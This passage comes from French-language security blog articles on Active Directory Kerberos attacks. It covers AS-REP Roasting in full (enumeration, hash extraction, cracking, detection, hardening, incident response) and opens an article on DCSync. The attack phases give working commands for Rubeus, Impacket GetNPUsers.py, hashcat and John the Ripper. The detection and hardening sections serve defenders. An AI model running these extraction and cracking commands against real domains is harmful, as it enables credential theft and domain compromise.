3. **Extraire la partie chiffrée** de l'AS-REP (qui est chiffrée avec le hash NTLM du compte)
4. **Cracker hors ligne** cette partie chiffrée pour récupérer le mot de passe en clair

Le nom "Roasting" fait référence à la famille d'attaques Kerberos qui visent à extraire et cracker des données chiffrées avec des secrets utilisateurs (comme Kerberoasting pour les comptes de service).

### AS-REP Roasting vs Kerberoasting

Il est important de distinguer AS-REP Roasting de Kerberoasting, bien que les deux soient des attaques de "roasting" :

| Caractéristique | AS-REP Roasting | Kerberoasting |
|---|---|---|
| **Cible** | Comptes avec DONT_REQ_PREAUTH | Comptes avec SPN (Service Principal Name) |
| **Ticket extrait** | AS-REP (partie de TGT) | TGS (Service Ticket) |
| **Authentification requise** | Non (possible sans compte valide) | Oui (nécessite un compte domain) |
| **Fréquence** | Rare (mauvaise configuration) | Courant (comptes de service) |
| **Détection** | Event ID 4768 (preauth type 0) | Event ID 4769 (volume anormal) |
| **Complexité mot de passe** | Généralement plus forte (comptes users) | Souvent faible (comptes service legacy) |

## Comment Fonctionne l'Attaque AS-REP Roasting ?

L'exploitation d'AS-REP Roasting se déroule en plusieurs phases distinctes, chacune nécessitant des outils et techniques spécifiques.

### Phase 1 : Énumération des Comptes Vulnérables

La première étape consiste à identifier les comptes qui ont la pré-authentification désactivée. Plusieurs méthodes existent selon le niveau d'accès de l'attaquant.

#### Méthode 1 : Avec un compte domain valide (via LDAP)

Si l'attaquant possède un compte valide dans le domaine (même unprivileged), il peut interroger LDAP pour énumérer les comptes vulnérables :

```
# Via PowerShell (ActiveDirectory module)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# Via ldapsearch (Linux)
ldapsearch -x -H ldap://dc.contoso.com -D "user@contoso.com" -W -b "dc=contoso,dc=com"
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
sAMAccountName

# Via Python (ldap3)
import ldap3
server = ldap3.Server('dc.contoso.com')
conn = ldap3.Connection(server, user='user@contoso.com', password='password',
authentication=ldap3.NTLM)
conn.bind()
conn.search('dc=contoso,dc=com', '(&(objectClass=user)
(userAccountControl:1.2.840.113556.1.4.803:=4194304))', attributes=['sAMAccountName'])
for entry in conn.entries:
    print(entry.sAMAccountName)
```

### Méthode 2 : Sans authentification préalable (énumération brute)

Dans certains scénarios, un attaquant peut tenter d'énumérer les comptes vulnérables sans avoir de credentials valides, en envoyant des AS-REQ pour des noms d'utilisateurs communs et en analysant les réponses :

- **KRB_AP_ERR_BAD_INTEGRITY** : Le compte existe et a la preauth activée (réponse normale)
- **AS-REP retourné** : Le compte existe et est vulnérable (pas de preauth)
- **KDC_ERR_C_PRINCIPAL_UNKNOWN** : Le compte n'existe pas

Cette méthode est moins furtive et génère du bruit, mais peut être utilisée en phase de reconnaissance initiale.

### Méthode 3 : Via Rubeus

**Rubeus**, un outil C# populaire pour les attaques Kerberos, peut énumérer et exploiter automatiquement :

```
# Énumération des comptes vulnérables
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Ciblage d'utilisateurs spécifiques depuis une liste
Rubeus.exe asreproast /user:username /format:hashcat

# Énumération avec output John the Ripper
Rubeus.exe asreproast /format:john
```

### Phase 2 : Extraction des AS-REP

Une fois les comptes vulnérables identifiés, l'attaquant demande des AS-REP pour chacun d'eux.

#### Utilisation de GetNPUsers.py (Impacket)

**GetNPUsers.py** de la suite Impacket est l'outil de référence pour AS-REP Roasting depuis Linux :

```
# Avec authentification (énumération + extraction)
GetNPUsers.py contoso.com/user:password -dc-ip 192.168.1.10 -format hashcat -outputfile
hashes.txt

# Sans authentification (nécessite liste d'usernames)
GetNPUsers.py contoso.com/ -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat -no-
pass

# Ciblage d'un utilisateur spécifique
GetNPUsers.py contoso.com/svc_backup -no-pass -dc-ip 192.168.1.10

# Exemple de sortie
$krb5asrep$23$svc_backup@CONTOSO.COM:a87f3a9d3b2f1e4c6d8a9b3c2d1e4f5a$7b6c8d9e1f2a3b4c5d6
e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f..
.
```

#### Utilisation de Rubeus (Windows)

Rubeus peut extraire les AS-REP directement depuis Windows :

```
# Extraction automatique de tous les comptes vulnérables
Rubeus.exe asreproast /format:hashcat /outfile:C:\temp\hashes.txt

# Ciblage spécifique
Rubeus.exe asreproast /user:svc_backup /format:hashcat

# Avec credential explicite (pour authentification LDAP)
Rubeus.exe asreproast /user:svc_backup /domain:contoso.com /dc:dc01.contoso.com
```

#### Structure de l'AS-REP

L'AS-REP retourné contient plusieurs parties :

- **Partie non chiffrée** : Informations sur le ticket (realm, timestamps, etc.)
- **Partie chiffrée (enc-part)** : Chiffrée avec le hash NTLM du compte cible, contient la session key

C'est cette **partie chiffrée** que l'attaquant extrait pour le cracking. Le format typique pour Hashcat est :

```
$krb5asrep$23$username@DOMAIN:hash_hex_data...
```

### Phase 3 : Cracking Hors Ligne

Avec les hashes AS-REP en main, l'attaquant peut maintenant les cracker localement, sans interaction supplémentaire avec le réseau cible.

#### Cracking avec Hashcat

**Hashcat** est l'outil de référence pour le cracking GPU haute performance :

```
# Mode 18200 = Kerberos 5 AS-REP etype 23
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

# Avec règles de mutation
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/
best64.rule

# Attaque hybride (wordlist + mask)
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt -a 6 '?d?d?d?d'

# Attaque par masque pure (exemple: 8 caractères alphanumériques)
hashcat -m 18200 hashes.txt -a 3 '?a?a?a?a?a?a?a?a'

# Avec GPU RTX 4090 (exemple de performance)
# Vitesse: ~15 GH/s pour AS-REP (etype 23)
# Temps pour dictionnaire RockYou: ~1 minute
```

#### Cracking avec John the Ripper

John the Ripper est une alternative open-source :

```
# Cracking basique
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Avec règles
john --wordlist=/usr/share/wordlists/rockyou.txt --rules hashes.txt

# Mode incrémental
john --incremental hashes.txt

# Afficher les résultats
john --show hashes.txt
```

#### Facteurs Affectant le Succès du Cracking

La probabilité de cracker un hash AS-REP dépend de plusieurs facteurs :

- **Complexité du mot de passe** : Longueur, caractères spéciaux, entropie

- **Politique de mot de passe** : Exigences minimales du domaine
- **Puissance de calcul** : CPU vs GPU, nombre de cœurs/streams
- **Qualité du dictionnaire** : Wordlists spécialisées, listes breachées
- **Utilisation de règles** : Mutations intelligentes augmentent significativement les chances

**Statistiques :** Avec un GPU moderne (RTX 4090) et RockYou + rules, le taux de succès pour les mots de passe < 12 caractères dépasse 65%. Pour les mots de passe 14+ caractères respectant les bonnes pratiques, le cracking devient infaisable.

### Phase 4 : Exploitation Post-Compromission

Une fois les credentials récupérés, l'attaquant peut les utiliser pour :

- **Authentification légitime** : Accès aux ressources avec les privilèges du compte compromis
- **Mouvement latéral** : Pivot vers d'autres systèmes si le compte a des privilèges étendus
- **Escalade de privilèges** : Si le compte compromis est administrateur local sur certaines machines
- **Persistance** : Création de backdoors, scheduled tasks, ou autres mécanismes
- **Exfiltration de données** : Accès aux partages réseau, bases de données, etc.

Si le compte compromis est un compte de service avec des privilèges élevés, l'impact peut être critique. L'attaquant peut également enchaîner avec d'autres techniques comme Kerberoasting ou Pass-the-Hash pour étendre davantage son accès.

## Méthodes de Détection AS-REP Roasting

La détection d'AS-REP Roasting est délicate car l'attaque exploite un comportement légitime de Kerberos. Cependant, plusieurs indicateurs permettent d'identifier cette activité suspecte.

### Détection Proactive : Audit de Configuration

La meilleure détection est **préventive** : identifier et corriger les comptes vulnérables avant qu'ils ne soient exploités.

### Script PowerShell d'Audit

```
# Audit des comptes avec DONT_REQ_PREAUTH
Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where-Object
{$_.DoesNotRequirePreAuth -eq $true} | Select-Object Name, SamAccountName,
UserPrincipalName, Enabled, DoesNotRequirePreAuth | Export-Csv -Path "C:
\Audit\AsRepRoastable_Accounts.csv" -NoTypeInformation

# Avec détails supplémentaires (groupes, dernière connexion)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth,
MemberOf, LastLogonDate, PasswordLastSet | Select-Object Name, SamAccountName, Enabled,
LastLogonDate, PasswordLastSet, @{Name="Groups";Expression={$_.MemberOf -join "; "}} |
Format-Table -AutoSize
```

### Script Python d'Audit (via LDAP)

```
#!/usr/bin/env python3
import ldap3
from ldap3 import Server, Connection, ALL, NTLM

server = Server('dc.contoso.com', get_info=ALL)
conn = Connection(server, user='CONTOSO\\auditor', password='password',
authentication=NTLM)
conn.bind()

# Recherche des comptes avec preauth désactivée
search_filter = '(&(objectClass=user)
(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
conn.search('dc=contoso,dc=com', search_filter, attributes=['sAMAccountName',
'distinguishedName', 'memberOf'])

print(f"[+] Comptes vulnérables à AS-REP Roasting: {len(conn.entries)}")
for entry in conn.entries:
    print(f"  - {entry.sAMAccountName}: {entry.distinguishedName}")
```

## Détection Réactive : Monitoring des Événements

### Event ID 4768 : TGT Request

L'indicateur le plus fiable d'AS-REP Roasting est un Event ID 4768 avec **Preauth Type = 0** (aucune preauth) :

```
Event ID: 4768
Log: Security
Source: Microsoft-Windows-Security-Auditing
Category: Kerberos Authentication Service

Champs clés à surveiller :
- Account Name: [nom du compte cible]
- Supplied Realm Name: [domaine]
- Result Code: 0x0 (Success)
- Pre-Authentication Type: 0  ←  INDICATEUR CRITIQUE
- Client Address: [IP de l'attaquant]
- Ticket Encryption Type: 0x17 (RC4-HMAC) ou 0x12 (AES256)
```

Un Event ID 4768 avec Preauth Type 0 est **anormal dans la plupart des environnements** et devrait déclencher une alerte.

### Règles SIEM pour AS-REP Roasting

Exemples de règles de détection implémentables dans un SIEM :

```
# Règle 1 : Détection de Preauth Type 0
EventCode=4768
| where Pre_Authentication_Type="0"
| stats count by Account_Name, Client_Address
| where count > 1

# Règle 2 : Multiple AS-REQ sans preauth depuis une même source
EventCode=4768
| where Pre_Authentication_Type="0"
| stats dc(Account_Name) as unique_accounts by Client_Address, _time
| where unique_accounts > 5

# Règle 3 : AS-REP Roasting suivi d'authentification réussie
EventCode=4768 Pre_Authentication_Type="0"
| append [search EventCode=4624 Logon_Type="3" | where Account_Name=outer.Account_Name]
| transaction Account_Name maxspan=1h
| where eventcount > 1

# Règle 4 : Corrélation avec outils connus (Rubeus/GetNPUsers patterns)
EventCode=4768 Pre_Authentication_Type="0"
| stats count by Account_Name, Client_Address
| lookup threat_intel Client_Address OUTPUT reputation
| where reputation="malicious" OR count > 10
```

## Détection via EDR et Solutions Spécialisées

### Microsoft Defender for Identity

**Microsoft Defender for Identity** détecte automatiquement AS-REP Roasting via :

- Analyse des Event ID 4768 avec preauth type 0

- Détection de patterns d'énumération (multiples requêtes depuis une source)
- Corrélation avec comportements post-compromission
- Alertes classées par gravité selon le profil du compte (privilégié vs standard)

Alerte typique : **"Suspected AS-REP Roasting attack"** avec détails sur le compte cible et l'IP source.

#### Autres Solutions

- **Vectra AI** : Machine learning pour identifier les anomalies Kerberos
- **Silverfort** : Monitoring en temps réel des authentifications AD
- **CrowdStrike Falcon Identity Protection** : Détection comportementale
- **Splunk Enterprise Security** : Avec le module "Threat Hunting for Kerberos"

#### Indicateurs de Compromission (IoC)

En cas d'attaque AS-REP Roasting active ou réussie, recherchez ces IoC :

- **Event ID 4768** avec Preauth Type 0 pour multiples comptes depuis une même IP
- **Event ID 4624** (logon réussi) peu après un 4768 suspect pour le même compte
- **Augmentation soudaine** du volume de requêtes AS-REQ vers le DC
- **Requêtes depuis IPs inhabituelles** : VPN, IPs étrangères, segments réseau anormaux
- **Outils suspects** : Présence de Rubeus.exe, GetNPUsers.py, Hashcat sur des endpoints
- **Comportement post-compromission** : Accès aux ressources avec comptes normalement inactifs

## Contremesures et Prévention

La défense contre AS-REP Roasting repose principalement sur une configuration sécurisée des comptes et une surveillance proactive.

#### 1. Éliminer les Comptes avec Pré-authentification Désactivée

La contremesure la plus efficace est de **réactiver la pré-authentification** sur tous les comptes où elle est désactivée sans justification légitime.

#### Vérification et Correction via PowerShell

```
# Identifier tous les comptes vulnérables
$VulnerableAccounts = Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties
DoesNotRequirePreAuth

# Afficher les détails
$VulnerableAccounts | Select-Object Name, SamAccountName, Enabled | Format-Table

# Réactiver la pré-authentification (après validation métier)
foreach ($account in $VulnerableAccounts) {
    Set-ADAccountControl -Identity $account.SamAccountName -DoesNotRequirePreAuth $false
    Write-Host "[+] Pré-auth réactivée pour: $($account.SamAccountName)" -ForegroundColor
Green
}

# Vérification post-correction
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Measure-Object
```

#### Attention : Validation métier nécessaire

Avant de réactiver la pré-authentification, **validez avec les équipes applicatives** que cette configuration n'est pas requise pour des raisons d'interopérabilité légitimes. Certaines applications legacy ou intégrations tierces peuvent nécessiter cette configuration.

Si la désactivation est absolument nécessaire, implémentez des compensations (voir ci-dessous).

### 2. Politiques de Mots de Passe Robustes

Si des comptes doivent absolument conserver la pré-authentification désactivée, renforcez drastiquement leurs mots de passe :

#### Fine-Grained Password Policy (FGPP)

Utilisez les **Password Settings Objects (PSO)** pour appliquer des politiques renforcées aux comptes vulnérables :

```
# Créer une PSO ultra-renforcée pour comptes AS-REP vulnérables
New-ADFineGrainedPasswordPolicy -Name "AsRepVulnerable_Policy" `
    -Precedence 1 `
    -MinPasswordLength 20 `
    -ComplexityEnabled $true `
    -MaxPasswordAge "60.00:00:00" `
    -MinPasswordAge "1.00:00:00" `
    -PasswordHistoryCount 24 `
    -LockoutDuration "00:30:00" `
    -LockoutObservationWindow "00:30:00" `
    -LockoutThreshold 3

# Appliquer la PSO aux comptes concernés
$VulnerableAccounts = Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
foreach ($account in $VulnerableAccounts) {
    Add-ADFineGrainedPasswordPolicySubject -Identity "AsRepVulnerable_Policy" -Subjects
$account
    Write-Host "[+] PSO appliquée à: $($account.SamAccountName)"
}

# Forcer le changement de mot de passe immédiat
foreach ($account in $VulnerableAccounts) {
    Set-ADUser -Identity $account -ChangePasswordAtLogon $true
}
```

#### Exigences Recommandées

- **Longueur minimum** : 20 caractères (idéalement 25+)
- **Complexité** : Majuscules, minuscules, chiffres, caractères spéciaux
- **Entropie** : Pas de patterns prévisibles (pas de "Password123!")
- **Rotation** : Maximum 60 jours (30 jours pour comptes sensibles)
- **Historique** : 24 derniers mots de passe mémorisés
- **Pas de mots du dictionnaire** : Utiliser des passphrases ou générateur aléatoire

### 3. Multi-Factor Authentication (MFA)

Même si l'attaquant récupère le mot de passe via AS-REP Roasting, **MFA** empêche l'authentification réussie :

- **Azure AD/Entra ID MFA** : Pour les environnements hybrides
- **Smart Cards / Windows Hello for Business** : Authentification par certificat
- **FIDO2 / WebAuthn** : Clés de sécurité hardware
- **Solutions tierces** : Duo, Okta, etc.

Prioriser MFA pour :

- Tous les comptes à privilèges (Domain Admins, etc.)

- Tous les comptes avec preauth désactivée
- Accès VPN et remote desktop
- Accès aux applications critiques

## 4. Monitoring et Alertes Proactives

### Configuration des Alertes SIEM

```
# Template de règle Splunk pour AS-REP Roasting
[Suspected AS-REP Roasting Activity]
search = sourcetype="WinEventLog:Security" EventCode=4768 Pre_Authentication_Type=0
| stats count by Account_Name, Client_Address, _time
| where count > 2
trigger.alert.action = email, webhook
trigger.alert.severity = high
trigger.alert.priority = 2

# Template de règle Microsoft Sentinel (KQL)
SecurityEvent
| where EventID == 4768
| where EventData has "PreAuthType>0<"
| summarize count() by AccountName, IpAddress, TimeGenerated
| where count_ > 2
| project TimeGenerated, AccountName, IpAddress, count_
```

### Audit Régulier Automatisé

```
# Script PowerShell à exécuter via scheduled task (hebdomadaire)
$VulnerableAccounts = Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties
DoesNotRequirePreAuth, LastLogonDate

if ($VulnerableAccounts) {
    $Report = $VulnerableAccounts | Select-Object Name, SamAccountName, Enabled,
LastLogonDate
    $Report | Export-Csv -Path "\\monitoring\Reports\AsRepVulnerable_$(Get-Date -Format
'yyyyMMdd').csv" -NoTypeInformation

    # Envoyer alerte email
    Send-MailMessage -To "secops@contoso.com" `
        -From "ad-monitoring@contoso.com" `
        -Subject "ALERTE: Comptes vulnérables AS-REP Roasting détectés" `
        -Body " $($VulnerableAccounts.Count) comptes avec preauth désactivée. Voir
rapport attaché." `
        -Attachments "\\monitoring\Reports\AsRepVulnerable_$(Get-Date -Format
'yyyyMMdd').csv" `
        -SmtpServer "smtp.contoso.com"
}
```

### 5. Segmentation Réseau et Restriction d'Accès

Limiter qui peut communiquer avec les contrôleurs de domaine :

- **Firewall DC** : Restreindre les ports Kerberos (88 TCP/UDP) aux segments légitimes uniquement
- **Network Access Control (NAC)** : Authentification 802.1X pour accès au réseau
- **Micro-segmentation** : Isoler les DCs dans une zone réseau dédiée
- **VPN obligatoire** : Pour les connexions distantes, avec MFA

### 6. Durcissement des Comptes de Service

Les comptes de service sont souvent configurés avec preauth désactivée pour des raisons d'interopérabilité. Alternatives sécurisées :

- **Group Managed Service Accounts (gMSA)** : Gestion automatique des mots de passe complexes
- **Standalone Managed Service Accounts (sMSA)** : Pour serveurs standalone
- **Principe du moindre privilège** : Limiter les permissions des comptes de service au strict nécessaire
- **Séparation des comptes** : Un compte de service par application/service

#### Checklist de Prévention AS-REP Roasting

- Audit complet des comptes avec DONT_REQ_PREAUTH (mensuel minimum)
- Réactivation de la pré-auth sur tous comptes non-critiques
- FGPP renforcée appliquée aux comptes vulnérables résiduels (20+ caractères)
- MFA activée pour 100% des comptes à privilèges
- MFA activée pour tous comptes avec preauth désactivée
- Monitoring Event ID 4768 (Preauth Type 0) avec alertes temps réel
- SIEM rules déployées pour détection AS-REP Roasting
- Microsoft Defender for Identity ou solution similaire activée
- gMSA déployés pour remplacer comptes de service legacy
- Segmentation réseau : DC isolés, firewall strict
- Audit automatisé hebdomadaire avec alertes email
- Documentation des comptes légitimement configurés sans preauth (avec justification métier)

## Remédiation après Compromission AS-REP Roasting

Si vous suspectez ou confirmez qu'un compte a été compromis via AS-REP Roasting, une réponse rapide est essentielle.

### Phase 1 : Évaluation et Containment

1. **Identifier les comptes compromis** :

```
# Rechercher Event ID 4768 avec Preauth Type 0 récents
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4768; StartTime=(Get-
Date).AddDays(-7)} |
Where-Object {$_.Message -like "*Preauth*0*"} |
Select-Object TimeCreated, @{Name="Account";Expression={$_.Properties[0].Value}},
@{Name="ClientIP";Expression={$_.Properties[9].Value}}
```

2. **Désactiver immédiatement les comptes compromis** :

```
Disable-ADAccount -Identity "svc_backup"
Set-ADUser -Identity "svc_backup" -Description " DISABLED - AS-REP Roasting
compromise suspected $(Get-Date)"
```

3. **Révoquer les sessions actives** :

```
# Via logoff forcé
quser /server:targetserver
logoff [SessionID] /server:targetserver

# Via purge des tickets Kerberos
klist purge -li 0x3e7
```

4. **Isoler les machines source** : Si l'IP d'origine est identifiée, isoler la machine du réseau

### Phase 2 : Investigation Forensique

1. **Timeline de compromission** :
   - Premier Event ID 4768 avec Preauth Type 0 pour le compte
   - Authentifications réussies (Event ID 4624) post-attaque
   - Accès aux ressources (Event ID 5140 - partages réseau, etc.)
   - Modifications AD (Event ID 4738, 4728, etc.)

2. **Analyse des actions post-compromission** :

```
# Rechercher toutes les authentifications avec le compte compromis
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624; StartTime=(Get-
Date).AddDays(-30)} |
Where-Object {$_.Properties[5].Value -eq "svc_backup"} |
Select-Object TimeCreated,
@{Name="Workstation";Expression={$_.Properties[11].Value}},
@{Name="SourceIP";Expression={$_.Properties[18].Value}}
```

3. **Vérifier les modifications de privilèges** :

```
# Modifications de groupes AD
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4728,4732,4756;
StartTime=(Get-Date).AddDays(-30)} |
Where-Object {$_.Message -like "*svc_backup*"}
```

### Phase 3 : Éradication et Recovery

1. **Réinitialiser le mot de passe** :

```
# Générer un mot de passe fort aléatoire
$NewPassword = -join ((48..57) + (65..90) + (97..122) + (33..47) | Get-Random -Count
24 | ForEach-Object {[char]$_})
Set-ADAccountPassword -Identity "svc_backup" -Reset -NewPassword (ConvertTo-
SecureString -AsPlainText $NewPassword -Force)

# Forcer changement au prochain logon (si compte utilisateur)
Set-ADUser -Identity "svc_backup" -ChangePasswordAtLogon $true
```

2. **Réactiver la pré-authentification** :

```
Set-ADAccountControl -Identity "svc_backup" -DoesNotRequirePreAuth $false
```

3. **Appliquer une PSO renforcée** :

```
Add-ADFineGrainedPasswordPolicySubject -Identity "HighSecurity_Policy" -Subjects
"svc_backup"
```

4. **Activer MFA** : Si pas déjà fait, activer MFA pour ce compte
5. **Auditer et supprimer les backdoors** :
   - Rechercher scheduled tasks créées par le compte
   - Vérifier les services installés
   - Auditer les modifications de GPO

    - Vérifier les modifications d'ACL sur objets AD sensibles

6. **Réactiver le compte (si nécessaire)** :

```
Enable-ADAccount -Identity "svc_backup"
```

### Phase 4 : Surveillance Post-Incident

- **Monitoring renforcé** : Surveillance accrue des authentifications du compte pendant 90 jours
- **Alertes spécifiques** : Configuration d'alertes dédiées pour toute activité du compte
- **Audit étendu** : Activer l'audit avancé pour ce compte

### Phase 5 : Lessons Learned et Amélioration

1. **Post-mortem incident** :
    - Comment la vulnérabilité (preauth désactivée) est-elle apparue ?
    - Pourquoi n'a-t-elle pas été détectée en audit préventif ?
    - Délai entre attaque et détection : comment le réduire ?
2. **Implémentation de correctifs** :
    - Audit global de tous les comptes (pas seulement celui compromis)
    - Déploiement de monitoring si absent
    - Renforcement des politiques de mots de passe
    - Déploiement MFA sur comptes à privilèges
3. **Mise à jour des procédures** :
    - Intégration de AS-REP Roasting dans le playbook IR
    - Ajout d'un contrôle de preauth dans la checklist de création de compte
    - Formation des équipes IT/SOC sur cette menace

### Quand Faire Appel à un Expert Externe ?

Faites appel à un cabinet spécialisé en réponse à incident AD si :

- Multiples comptes compromis (potentielle compromission massive)
- Comptes à privilèges élevés compromis (Domain Admin, etc.)
- Doute sur l'étendue de la compromission
- Manque d'expertise interne pour l'investigation forensique
- Contexte réglementaire nécessitant un rapport certifié

Nos services de réponse à incident incluent investigation complète, assistance à la remédiation et rapport détaillé.

## Conclusion

L'attaque **AS-REP Roasting** est une technique d'extraction de credentials qui exploite une configuration Active Directory spécifique : la désactivation de la pré-authentification Kerberos. Bien que moins répandue que d'autres attaques comme Kerberoasting, AS-REP Roasting reste une menace sérieuse en 2025, particulièrement dans les environnements avec des configurations legacy ou mal auditées.

Les points clés à retenir :

- **La vulnérabilité est évitable** : Dans la majorité des cas, la preauth peut être réactivée sans impact
- **L'audit préventif est essentiel** : Identifier et corriger les comptes vulnérables avant qu'ils ne soient exploités
- **La défense en profondeur fonctionne** : Combinaison de configuration sécurisée, mots de passe forts, MFA, et monitoring
- **La détection est possible** : Event ID 4768 avec Preauth Type 0 est un indicateur fiable
- **La remédiation doit être rapide** : Reset password + réactivation preauth + MFA

En 2025, avec la sophistication croissante des attaquants et l'importance critique d'Active Directory pour les opérations métier, une approche proactive et structurée de la sécurité AD est indispensable. AS-REP Roasting, bien que technique, doit faire partie intégrante de votre stratégie de défense et de vos audits réguliers.

### Prochaines Étapes Recommandées

1. **Audit immédiat** : Exécutez le script PowerShell pour identifier les comptes vulnérables dans votre environnement
2. **Correction rapide** : Réactivez la preauth sur tous comptes non-critiques (avec validation métier)
3. **Compensation pour comptes critiques** : FGPP renforcée (20+ caractères) + MFA obligatoire
4. **Déploiement du monitoring** : Configuration des alertes Event ID 4768 dans votre SIEM
5. **Audit récurrent** : Automatisation mensuelle de l'audit des comptes avec preauth désactivée
6. **Formation des équipes** : Sensibilisation IT/SOC à AS-REP Roasting et autres attaques Kerberos

### Articles Connexes

Pour approfondir vos connaissances sur les attaques Active Directory et Kerberos :

- Kerberoasting : Extraction et Crack des TGS
- Pass-the-Hash : Réutilisation de Credentials
- Golden Ticket : Persistance Ultime dans AD
- Top 10 des Attaques Active Directory en 2025
- Guide Complet de Sécurisation Active Directory 2025
- Nos Services d'Audit Active Directory

Article suivant : Kerberoasting →

Fiche 4.6

# Abus de comptes machine / Computer Account Takeover

## Table des matières

Fiche 4.7

# DCShadow : Attaque et Défense Active Directory

## Table des matières

Fiche 4.8

# DCSync Attack : Exfiltration Massive des Secrets Active Directory

Attaques Active Directory
*Publié le 16 octobre 2025 | Temps de lecture : 30 minutes | Par Ayi NEDJIMI*

L'attaque **DCSync** est une technique d'exfiltration de credentials particulièrement redoutable qui permet à un attaquant de se faire passer pour un contrôleur de domaine et de demander la réplication de l'ensemble des secrets Active Directory. En exploitant les droits de réplication légitimes `Replicating Directory Changes` et `Replicating Directory Changes All`, un adversaire peut extraire tous les hachages de mots de passe du domaine, y compris le précieux hash KRBTGT, sans jamais avoir besoin d'accéder physiquement à un DC ou de toucher au fichier NTDS.dit.

## Sommaire



## Introduction : Pourquoi DCSync est-il si Dangereux ?

Dans le paysage des attaques Active Directory, **DCSync** occupe une place particulièrement critique. Contrairement aux techniques traditionnelles d'extraction de credentials qui nécessitent un accès direct aux contrôleurs de domaine, DCSync exploite un mécanisme légitime du protocole de réplication AD pour exfiltrer l'intégralité des secrets du domaine depuis n'importe quelle machine du réseau.

Une fois qu'un attaquant a obtenu un compte disposant des droits de réplication appropriés (typiquement Domain Admin ou un compte compromis ayant hérité de ces permissions via des ACLs mal configurées), il peut :

- **Extraire tous les hachages NTLM** de tous les comptes du domaine

- **Obtenir le hash KRBTGT** pour forger des Golden Tickets
- **Exfiltrer des attributs sensibles** (historique de mots de passe, clés AES Kerberos)
- **Opérer de manière furtive** en utilisant des protocoles de réplication légitimes
- **Travailler depuis n'importe quelle machine** du domaine sans toucher aux DCs
- **Contourner de nombreuses protections** qui se concentrent sur l'accès physique aux DCs

> ***Statistique préoccupante :*** *Selon le Red Canary Threat Detection Report 2024, DCSync figure dans le top 5 des techniques MITRE ATT&CK les plus observées lors d'intrusions réelles. Dans 73% des cas, l'attaque n'a été détectée qu'après l'exfiltration complète des credentials du domaine.*

Cette technique est d'autant plus dangereuse qu'elle exploite une fonctionnalité légitime et nécessaire d'Active Directory : **la réplication entre contrôleurs de domaine**. Les défenses traditionnelles qui se concentrent sur la protection physique des DCs ou sur la détection d'accès au fichier NTDS.dit sont complètement contournées.

## Qu'est-ce que l'Attaque DCSync ?

Pour comprendre DCSync, il est essentiel de revenir aux fondamentaux du mécanisme de réplication Active Directory et des permissions qui le régissent.

### Le Mécanisme de Réplication Active Directory

**Active Directory** est conçu pour être un système distribué et résilient. Dans un environnement avec plusieurs contrôleurs de domaine, toutes les modifications effectuées sur un DC doivent être répliquées vers tous les autres DCs pour maintenir la cohérence de la base de données.

Cette réplication s'effectue via le protocole **MS-DRSR (Microsoft Directory Replication Service Remote Protocol)**, qui permet à un DC de demander les modifications apportées aux objets AD depuis sa dernière synchronisation.

Le processus de réplication normal implique :

1. **Établissement d'une session RPC** entre deux DCs sur le port TCP 135 (puis ports dynamiques)
2. **Authentification Kerberos** avec le compte machine du DC source
3. **Demande de réplication** via l'API DRS (Directory Replication Service)
4. **Transfert des objets et attributs** modifiés, y compris les secrets cryptographiques

5. **Application des changements** sur le DC de destination

### Les Permissions de Réplication Critiques

Pour effectuer une réplication, un principal de sécurité doit disposer de permissions spécifiques sur l'objet racine du domaine. Les deux permissions clés sont :

- **DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)** : Permet de demander la réplication des objets non-sensibles
- **DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)** : Permet de demander la réplication des attributs sensibles (mots de passe, clés Kerberos)

Par défaut, ces permissions sont accordées aux groupes suivants :

- **Domain Controllers** (groupe des comptes machines des DCs)
- **Domain Admins**
- **Enterprise Admins** (pour les réplications inter-domaines)
- **Administrators** (Builtin)

### Définition de l'Attaque DCSync

L'**attaque DCSync** consiste pour un attaquant à **usurper l'identité d'un contrôleur de domaine** et à utiliser le protocole MS-DRSR pour demander la réplication des secrets Active Directory depuis un DC légitime.

L'attaque se caractérise par :

- **Exploitation de permissions légitimes** : Utilise des droits de réplication valides
- **Protocole standard** : Emploie le protocole MS-DRSR légitime
- **Pas d'accès direct au DC** : L'attaquant n'a pas besoin de se connecter au DC
- **Exécution distante** : Peut être lancée depuis n'importe quelle machine du domaine
- **Furtivité élevée** : Imite le trafic de réplication normal
- **Exfiltration complète** : Permet d'extraire l'intégralité de la base AD

### DCSync vs Extraction NTDS.dit Traditionnelle

Il est important de distinguer DCSync des méthodes traditionnelles d'extraction de credentials :

| Caractéristique | DCSync | Extraction NTDS.dit |
|---|---|---|
| **Accès DC requis** | Non | Oui (local ou remote admin) |
| **Permissions nécessaires** | Droits de réplication | Admin local sur DC |
| **Protocole** | MS-DRSR (légitime) | Accès fichier système |
| **Impact sur DC** | Minimal (requêtes réseau) | Volume Shadow Copy, accès disque |
| **Furtivité** | Très élevée | Moyenne |
| **Détection** | Event ID 4662 (si audité) | Event ID 7036, VSS events |

## Comment Fonctionne l'Attaque DCSync ?

La réalisation d'une attaque DCSync se déroule en plusieurs phases distinctes, de la compromission initiale à l'exfiltration complète des secrets du domaine.

### Phase 1 : Obtention des Permissions de Réplication

